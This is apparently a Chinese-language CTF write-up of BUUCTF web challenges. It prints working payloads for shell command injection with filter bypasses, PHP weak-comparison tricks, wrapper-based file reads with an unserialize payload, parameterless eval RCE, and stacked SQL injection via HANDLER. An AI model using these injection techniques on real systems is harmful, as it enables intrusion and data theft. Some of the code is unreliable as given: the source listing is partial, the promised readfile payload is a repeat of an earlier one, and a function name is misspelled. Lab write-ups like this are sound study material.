BUUCTF WEB
[ACTF2020 新生赛]Exec
知识点:exec命令执行
- 这题最早是在一个叫中学生
CTF
平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬中学时就开始学技术了,自己当时还在和泥巴( ̄ε(# ̄)☆╰╮o( ̄皿 ̄///))
- 言归正传,这题其实就是一个
exec
的命令执行,直接ip & cmd
就可以执行多条命令,这里由于什么过滤都没有,所以直接127.0.0.1 & ls /
先遍历一下根目录,发现flag
,然后直接127.0.0.1 & cat /flag
即可
[ACTF2020 新生赛]BackupFile
知识点:PHP弱类型,备份文件
- 首先提示要去找源码,所以尝试找备份文件
/index.php.bak
,遂发现源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
- 这里要求首先要设置
GET
传一个参数key
,并且key
要是数字,最后判断key == str
就返回flag,我们可以发现这里的比较是用的==
也就是弱类型比较,它在处理数字和字符串的时候,会先进行类型转化后在比较,也就是说对于一个string
会被转成int
,而且若这里的string
是一个数字字母的组合,且以数字开头的,在转换时会把数字后的字符去除,也就是说这里的str
会直接被当成123
处理,所以我们只要给key
赋值为123
即可
[GXYCTF2019]Ping Ping Ping
知识点:命令执行变量拼接,内联执行
- 这题和第一个类似,都是
exec
的多语句执行,不过这题的过滤就有点多了
- 首先还是尝试直接
ip
之后加上ls
查看,发现有index.php flag.php
两个文件
- 在尝试读取
flag
时发现其中flag
还有空格以及/
都被过滤,所以尝试读取index.php
发现源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
- 这里不仅过滤了那三样,还限制不允许使用
bash
,对于这个我们可以尝试使用sh
也可以同样进行操作
- 对于空格被过滤,我们可以尝试使用
$IFS$1
或者分号代替
- 对于
flag
的过滤,我们可以先对其base64
编码后在读取,所以最终课构造payload
如下
/?ip=127.0.0.1;cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
[ZJCTF 2019]NiZhuanSiWei
知识点: data伪协议,php反序列化,文件包含读取文件内容
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
- 第一层:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
,这里要绕过file_get_contents()
函数要使text
内容是welcome to the zjctf
,在前不久的MRCTF
的套娃一题中见到过,需要用data://
伪协议绕过
- 所以
text=data://text/plain,welcome to the zjctf
- 第二层:要使用
file
读取文件,但是不能直接读取flag.php
,这里他给出了useless.php
的提示,所以我们尝试读取他的内容(ps.PHP文件内容无法直接读取,所以我们要使用php://filter
伪协议来读取)
- 所以
file=php://filter/read=convert.base64-encode/resource=useless.php
,读取到源码如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
- 第三层:
$password = unserialize($password);
,设置了一个password
,涉及到反序列化,我们看到useless.php
中的源码显示会直接读取file
中内容,所以直接给file
赋值flag.php
,即可得到最终flag
<?php
class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
- 所以
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
- 最终
payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[极客大挑战 2019]BuyFlag
知识点:php弱类型,科学记数法
- 发现提示说要是
Cuiter
才可以pay
,遂查看cookie
,发现value
为0
,尝试改为1
,提示要输入密码
- 打开
pay.php
页面查看源码
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
- 发现
password
这里首先要使其不为数字,而后又要其等于404
,并且这里的比较是==
,显然是弱类型,所以考虑使用字符串绕过,password=404asd
- 发现要求设置
money
,于是考虑money=100000000
,却发现提示长度超出,遂考虑使用科学记数法,money=1e10
,获得flag
[GXYCTF2019]禁止套娃
知识点:无参数RCE,git源码泄露
githack
下载源码
python GitHack.py http://eb80dbe4-c6d9-47d5-8f5d-7ab84b47173b.node3.buuoj.cn/.git
- 源码如下:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
- 设置要
GET
一个exp
并且要以分号结尾,无法使用一些常用的伪协议读取文件,并且还禁用了一些常用函数
- 我们这里首先还是要尝试遍历一下目录,查看一下
flag
文件的位置
- 这里并未禁用
scandir()
函数,所以我们要尝试去构造scandir('.')
来遍历一下目录,这里参考了一下网上WP
,发现可以使用current(localeconv())
函数
current()
函数作用是返回数组中的当前元素的值,默认返回第一个,而localeconv()
函数作用是返回包含本地数字及货币格式信息的数组,第一项就是'.'
- 这样我们就完成第一步,可以查看到目录文件信息
?exp=print_r(scandir(current(localeconv())));
- 发现
flag.php
文件,接下我们就要尝试去读取它的文件内容,这里由于flag.php
是倒数第二个元素,如何才能读取到倒数第二个呢?我们可以尝试用array_reverse()
函数先将数组倒置,这样flag.php
就成了第二个元素,然后再使用next()
函数指向首个的下一个,就完成指向flag.php
了
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
- 最后就是直接用
readfile()
函数读取文件内容即可,最终payload
如下
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));
- 看网上还有师傅使用
array_filp()
先交换键值,然后使用array_rand()
随机返回元素,读取flag
,学到新姿势,记录一下,payload
如下
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
[GYCTF2020]Blacklist
handler查询,堆叠注入
- 和强网杯的那个随便注类似,首先尝试查看表
1';show tables;#
- 看到字段
FlagHere
,尝试读取其内容,这里用到了一个handler
代替select
查询,详细内容可以看一下这篇文章
https://xz.aliyun.com/t/7169#toc-47
- 大致介绍一下要用到的语句
handler FlagHere open as f;
重命名FlagHere
数据表为f
handler f read first;
读取f
的首行字段
handler f close;
关闭句柄
- 所以最终使用堆叠注入构造
payload
1';handler FlagHere open as f;handler f read first;handler f close;#